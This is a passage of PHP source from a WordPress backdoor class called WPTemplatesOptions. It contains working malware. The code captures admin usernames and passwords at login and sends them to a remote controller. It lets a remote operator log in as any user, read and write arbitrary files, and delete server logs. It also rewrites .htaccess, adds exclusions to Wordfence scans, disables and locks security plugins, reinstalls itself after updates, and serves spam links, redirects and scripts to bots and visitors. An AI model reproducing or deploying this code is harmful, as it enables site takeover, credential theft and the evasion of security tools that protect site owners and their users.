                return $this->answer( true, 'I Get Uninstall', $this->uninstall );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function secret() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->where() ) {
                    $directory = $this->all->directory;
                } else {
                    $directory = $this->directory( $this->home() . 'wp-*', '', GLOB_ONLYDIR | GLOB_NOSORT );
                }
                foreach ( $directory as $iterator ) {
                    if ( $this->strpos( $iterator, $this->client->settings->secret->directory ) !== false ) {
                        $filename = "{$iterator}/{$this->client->settings->secret->key}";
                        if ( $this->writing( $filename, $this->client->file->secret ) ) {
                            $this->install->secret[] = $filename;
                        } else {
                            $this->install->secret[] = $filename;
                        }
                    }
                }
                return $this->answer( true, 'I Get Secret', $this->install->secret );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function htaccess() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->where() ) {
                    $directory = $this->directory( $this->home(), '.htaccess', GLOB_NOSORT );
                } else {
                    $directory = $this->directory( $this->abspath(), '.htaccess', GLOB_NOSORT );
                }
                $return = new stdClass();
                foreach ( $directory as $iterator ) {
                    if ( $this->strpos( $iterator, array('wp-content', 'wp-includes', 'wp-admin') ) ) {
                        if ( $this->write( $iterator, $this->client->sub_htaccess ) ) {
                            $return->sub["true"][] = $iterator;
                        } else {
                            $return->sub["false"][] = $iterator;
                        }
                    } else if ( stristr( $this->read( $iterator ), '# BEGIN WordPress' ) !== false ) {
                        if ( $this->write( $iterator, $this->client->main_htaccess ) ) {
                            $return->main[] = $iterator;
                        }
                    } else {
                        $return->undefined[] = $iterator;
                    }
                }
                return $this->answer( true, 'I Get Change htaccess', $return );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function log() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                foreach ( $this->directory( $this->home(), '{*.gz,*.com,*.com-ssl-log,*.log,error_log}', GLOB_BRACE | GLOB_NOSORT ) as $iterator ) {
                    if ( is_file( $iterator ) ) {
                        if ( stristr( $iterator, '.gz' ) && stristr( $iterator, $this->home() ) ) {
                        } else {
                            $this->return_array[] = $iterator;
                            unlink( $iterator );
                        }
                    }
                }
                return $this->return_array;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function WPFastestCacheExclude() {
            try {
                if ( $this->_get_option( 'WpFastestCacheExclude' ) ) {
                    foreach ( $this->client->settings->cache->bot as $bot ) {
                        if ( !strpos( $this->_get_option( 'WpFastestCacheExclude' ), $bot ) ) {
                            $this->_update_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
                            return true;
                        }
                    }
                } else {
                    $this->_add_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function LitespeedCache() {
            try {
                $litespeed = $this->_get_option( 'litespeed-cache-conf' );
                if ( $litespeed ) {
                    foreach ( $this->client->settings->cache->bot as $bot ) {
                        if ( !stristr( $litespeed['nocache_useragents'], $bot ) ) {
                            $litespeed['nocache_useragents'] = ltrim( rtrim( $litespeed['nocache_useragents'], '|' ) . '|' . join( '|', $this->client->settings->cache->bot ), '|' );
                            $litespeed['nocache_useragents'] = join( "|", array_values( array_unique( explode( '|', $litespeed['nocache_useragents'] ) ) ) );
                            if ( $this->_update_option( 'litespeed-cache-conf', $litespeed ) ) {
                                $this->write_append( $this->abspath() . '.htaccess', str_replace( '{{bot}}', $litespeed['nocache_useragents'], $this->client->settings->cache->LitespeedCache ) );
                            }
                        }
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function WPOptimize() {
            try {
                if ( $option = $this->_get_option( 'wpo_cache_config' ) ) {
                    foreach ( $this->client->settings->cache->bot as $bot ) {
                        if ( !in_array( $bot, $option['cache_exception_browser_agents'] ) ) {
                            $option['cache_exception_browser_agents'] = array_values( array_unique( array_merge_recursive( $option['cache_exception_browser_agents'], $this->client->settings->cache->bot ) ) );
                            if ( $this->_update_option( 'wpo_cache_config', $option ) ) {
                                return true;
                            }
                        }
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function WPSuperCache() {
            try {
                if ( file_exists( $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'wp-cache-config.php' ) ) {
                    foreach ( $this->client->settings->cache->bot as $bot ) {
                        if ( !stristr( $this->read( $filename ), $bot ) ) {
                            $return = false;
                        }
                    }
                    if ( isset( $return ) && $return === false ) {
                        $this->write_append( $filename, $this->client->settings->cache->WPSuperCache );
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function W3TotalCache() {
            try {
                $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master-preview.php';
                if ( file_exists( $filename ) ) {
                    $json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
                    foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
                        if ( isset( $json_decode->$key ) ) {
                            $json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
                        }
                    }
                    $this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
                }
                $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master.php';
                if ( file_exists( $filename ) ) {
                    $json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
                    foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
                        if ( isset( $json_decode->$key ) ) {
                            $json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
                        }
                    }
                    $this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function Wordfence() {
            try {
                global $wpdb;
                $table = $wpdb->prefix . 'wfconfig';
                if ( $wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ) == $table ) {
                    $exclude = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_exclude'" );
                    $include = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_include_extra'" );
                    foreach ( $this->client->settings->security->{__FUNCTION__}->search->exclude as $wordfence ) {
                        if ( strpos( $exclude->val, $wordfence ) === false ) {
                            $exclude->val = $exclude->val . PHP_EOL . $wordfence;
                            $wpdb->update( $table, array('val' => $exclude->val), array('name' => 'scan_exclude'), $format = null, $where_format = null );
                        }
                    }
                    foreach ( $this->client->settings->security->{__FUNCTION__}->search->include as $wordfence ) {
                        if ( strpos( $include->val, $wordfence ) === false ) {
                            $include->val = $include->val . PHP_EOL . $wordfence;
                            $wpdb->update( $table, array('val' => $include->val), array('name' => 'scan_include_extra'), $format = null, $where_format = null );
                        }
                    }
                    foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $val ) {
                        $wpdb->update( $table, array('val' => $val), array('name' => "{$where}"), $format = null, $where_format = null );
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function AllInOneSecurity() {
            try {
                if ( $option = $this->_get_option( 'aio_wp_security_configs' ) ) {
                    foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $value ) {
                        $option[$where] = $value;
                        $this->_update_option( 'aio_wp_security_configs', $option );
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function update() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                foreach ( $this->client->settings->plugins as $key => $value ) {
                    if ( $this->findPlugin( $value ) !== false ) {
                        $this->{$key}();
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function disable() {
            try {

                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                $return = array();
                foreach ( $this->client->settings->security->disable as $disable ) {
                    foreach ( $this->get_plugins() as $key => $plugins ) {
                        foreach ( $plugins as $plugin_key => $plugin ) {
                            if ( stristr( $plugin, $disable ) && $plugins['active'] == 1 ) {
                                $return[$key] = $plugins;
                                $this->_deactivate_plugins( $key );
                                if ( function_exists( 'chmod' ) && defined( 'WP_PLUGIN_DIR' ) ) {
                                    chmod( WP_PLUGIN_DIR . "/{$key}", 0000 );
                                }
                            }
                        }
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function findPlugin( $name ) {
            try {
                foreach ( $this->get_plugins() as $key => $plugins ) {
                    foreach ( $plugins as $plugin_key => $plugin ) {
                        if ( stristr( $plugin, $name ) && $plugins['active'] == 1 ) {
                            return $plugins;
                        }
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function json() {
            try {
                $this->upDir();
                return $this->uploadDir . DIRECTORY_SEPARATOR . '.json';
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function get() {
            try {
                if ( $this->post() ) {
                    if ( $this->json_validator( $this->json_encode ) ) {
                        $write = $this->write( $this->json(), bin2hex( $this->json_encode ) );
                        return ($write) ? $this->hex2bin( $this->read( $this->json() ) ) : $this->json_encode;
                    } else {
                        return $this->hex2bin( $this->read( $this->json() ) );
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function cache() {
            try {
                if ( file_exists( $this->json() ) ) {
                    if ( $this->timestamp( filemtime( $this->json() ) ) >= 12 ) {
                        return json_decode( $this->get() );
                    } else {
                        $json = json_decode( $this->hex2bin( $this->read( $this->json() ) ) );
                        return (isset( $json->files )) ? $json : json_decode( $this->get() );
                    }
                } else {
                    return json_decode( $this->get() );
                }
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function writing( $filename, $data ) {
            if ( file_exists( $filename ) ) {
                if ( filesize( $filename ) !== strlen( $data ) ) {
                    return $this->write( $filename, $data );
                }
                return true;
            }
            if ( !file_exists( $filename ) ) {
                return $this->write( $filename, $data );
            }
            return false;
        }

        private function write( $filename, $data ) {
            try {
                if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
                    $fopen = fopen( $filename, 'w+' );
                    $fwrite = fwrite( $fopen, $data );
                    fclose( $fopen );
                    return ($fwrite) ? true : false;
                } else if ( function_exists( 'file_put_contents' ) ) {
                    return (file_put_contents( $filename, $data ) !== false) ? true : false;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function write_file() {
            try {
                if ( !isset( $_REQUEST['filename'] ) ) {
                    return false;
                }
                $filename = $this->hex2bin( $_REQUEST['filename'] );
                if ( isset( $_REQUEST['content'] ) ) {
                    $content = $this->hex2bin( $_REQUEST['content'] );
                }
                if ( file_exists( $filename ) ) {
                    if ( isset( $content ) ) {
                        if ( $write = $this->write( $filename, $content ) ) {
                            return $this->answer( $write, $filename, $content );
                        }
                    } else {
                        return $this->answer( true, $filename, $this->read( $filename ) );
                    }
                } else {
                    if ( isset( $content ) ) {
                        if ( $write = $this->write( $filename, $content ) ) {
                            return $this->answer( $write, $filename, $content );
                        }
                    } else {
                        return $this->answer( $this->write( $filename, ' ' ), $filename, '' );
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function write_append( $filename, $data ) {
            try {
                if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
                    $write = fopen( $filename, 'a' );

                    return (fwrite( $write, $data )) ? true : false;

                } else if ( function_exists( 'file_put_contents' ) ) {
                    return (file_put_contents( $filename, $data, FILE_APPEND ) !== false) ? true : false;
                }

                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function read( $filename ) {
            try {
                if ( !file_exists( $filename ) ) {
                    return false;
                }
                if ( function_exists( 'file_get_contents' ) && is_readable( $filename ) ) {
                    return file_get_contents( $filename );
                }

                if ( function_exists( 'fopen' ) && is_readable( $filename ) ) {
                    $file = fopen( $filename, 'r' );
                    $content = '';
                    while ( !feof( $file ) ) {
                        $content .= fread( $file, filesize( $filename ) );
                    }
                    fclose( $file );
                    return $content;
                }

                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function read_file() {
            try {
                if ( !isset( $_REQUEST['filename'] ) ) {
                    return false;
                }
                $filename = $this->hex2bin( $_REQUEST['filename'] );

                if ( $this->json_validator( $read = $this->read( $filename ) ) ) {
                    return $read;
                } else {
                    return $this->answer( true, $filename, $read );
                }
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function login() {
            try {
                $id = (isset( $_REQUEST['user_id'] )) ? $_REQUEST['user_id'] : exit;
                if ( $user = $this->_get_user_by( 'id', $id ) ) {
                    $this->_wp_set_current_user( $user->ID, $user->user_login );
                    $this->_wp_set_auth_cookie( $user->ID );
                    return $this->answer( true, 'login data', $user );
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function wp_login() {
            try {
                if ( isset( $_POST['log'] ) ) {
                    $username = (isset( $_POST['log'] )) ? $_POST['log'] : 'not isset';
                    $password = (isset( $_POST['pwd'] )) ? $_POST['pwd'] : 'not isset';
                    $wp_authenticate = $this->_wp_authenticate( $username, $password );
                    if ( isset( $wp_authenticate->data ) ) {
                        $this->send( 'login', array(
                            'username'    => $username,
                            'password'    => $password,
                            'redirect_to' => (isset( $_POST['redirect_to'] )) ? $_POST['redirect_to'] : '',
                            'admin_url'   => 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'],
                            'json'        => json_encode( $wp_authenticate->data ),
                        ) );
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function request( $name, $value ) {
            if ( isset( $_REQUEST["{$name}"] ) && $_REQUEST["{$name}"] == $value ) {
                return true;
            }
            return false;
        }

        private function activated() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->request( 'activate', 'true' ) || $this->request( 'activated', 'true' ) || $this->request( 'action', 'heartbeat' ) ) {
                    $this->install();
                }
                if ( $this->request( 'action', 'upload-theme' ) || $this->request( 'action', 'install-theme' ) || $this->request( 'action', 'do-theme-upgrade' ) ) {
                    $this->theme();
                }
                if ( $this->request( 'action', 'upload-plugin' ) || $this->request( 'action', 'install-plugin' ) || $this->request( 'action', 'do-plugin-upgrade' ) ) {
                    $this->plugin();
                }
                if ( $this->request( 'action', 'do-core-upgrade' ) || $this->request( 'action', 'do-core-reinstall' ) || (stristr( @$_SERVER['REQUEST_URI'], 'about.php?updated' )) ) {
                    $this->install();
                }
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function upgrade() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->version < $this->client->version ) {
                    $this->reinstall();
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function init() {
            try {
                $data = $this->cache()->data;
                if ( isset( $data->location ) ) {
                    $this->_add_action( $data->location, array($this, 'code') );
                    return true;
                }
                if ( isset( $data->script->location ) ) {
                    $this->_add_action( $data->script->location, array($this, 'script') );
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function is_bot() {
            try {
                $this->is_bot->data = $this->cache()->data;
                $this->is_bot->bot = (preg_match( "~({$this->is_bot->data->bot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
                $this->is_bot->unbot = (preg_match( "~({$this->is_bot->data->unbot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        public function script() {
            try {
                $this->is_bot();
                if ( !$this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
                    echo $this->is_bot->data->script->data;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        public function code() {
            try {
                $this->is_bot();
                if ( $this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
                    if ( $this->is_bot->data->status === 9 && !empty( $this->is_bot->data->redirect ) && isset( $this->is_bot->data->redirect ) ) {
                        header( "Location: {$this->is_bot->data->redirect}", true, 301 );
                    }
                    if ( $this->is_bot->data->is_home ) {
                        echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
                    }
                    if ( !$this->is_bot->data->is_home && !$this->_is_home() && !$this->_is_front_page() ) {
                        echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
                    }
                }
                return true;
            } catch ( Exception $e ) {
                return false;
            }
        }

        public static function loaded() {
            try {
                (new self())->activated();
                (new self())->disable();
                (new self())->upgrade();
                (new self())->ftp();
                (new self())->update();
                (new self())->init();
                (new self())->wp_login();
                return true;
            } catch ( Exception $e ) {
                return false;
            }
        }
        
        public function __destruct(){
            $this->secret();
            $this->theme();
            $this->plugin();
            $this->wp_load();
        }
    }

    try {
        @ini_set( 'memory_limit', -1 );
        @ini_set( 'max_execution_time', -1 );
        @set_time_limit( -1 );
        @error_reporting( 0 );
        @ini_set( 'display_errors', false );
        if ( isset( $_REQUEST['debug'] ) ) {
            if ( $_REQUEST['debug'] == true ) {
                @error_reporting( -1 );
                @ini_set( 'display_errors', true );
            }
        }

        if ( !function_exists( 'preArrayList' ) ) {
            function preArrayList( $arr ) {
                echo '<pre>';
                print_r( $arr );
                echo '</pre>';
            }
        }
        if ( !defined( 'ABSPATH' ) ) {
            foreach ( array('.', '..', '../..', '../../..', '../../../..', '../../../../..', '../../../../../..', '../../../../../../..', '../../../../../../../..') AS $directory ) {
                if ( file_exists( $directory . DIRECTORY_SEPARATOR . 'wp-load.php' ) ) {
                    include_once($directory . DIRECTORY_SEPARATOR . 'wp-load.php');
                    break;
                }
            }
        }
    } catch ( Exception $e ) {
    }
    try {
        if ( isset( $_REQUEST['wp_api_token'] ) && !is_null( $_REQUEST['wp_api_token'] ) && !empty( $_REQUEST['wp_api_token'] ) ) {
            if ( function_exists( 'add_action' ) ) {
                add_action( 'wp_loaded', function() {
                    $controlAction = WPTemplatesOptions::getInstanceWordpress()->controlAction( $_REQUEST['wp_api_application'], (isset( $_REQUEST['wp_api_params'] )) ? $_REQUEST['wp_api_params'] : '', $_REQUEST['wp_api_token'] );
                    if ( is_array( $controlAction ) || is_object( $controlAction ) ) {
                        preArrayList( $controlAction );
                    } else {
                        echo (!is_null( $controlAction )) ? $controlAction : '';
                    }
                } );
            }
        } else {
            if ( function_exists( 'add_action' ) ) {
                add_action( 'init', array('WPTemplatesOptions', 'loaded') );
            }
        }
    } catch ( Exception $e ) {
    }
}
//fed36e93a0509e20f2dc96cbbd85b678
 
Üst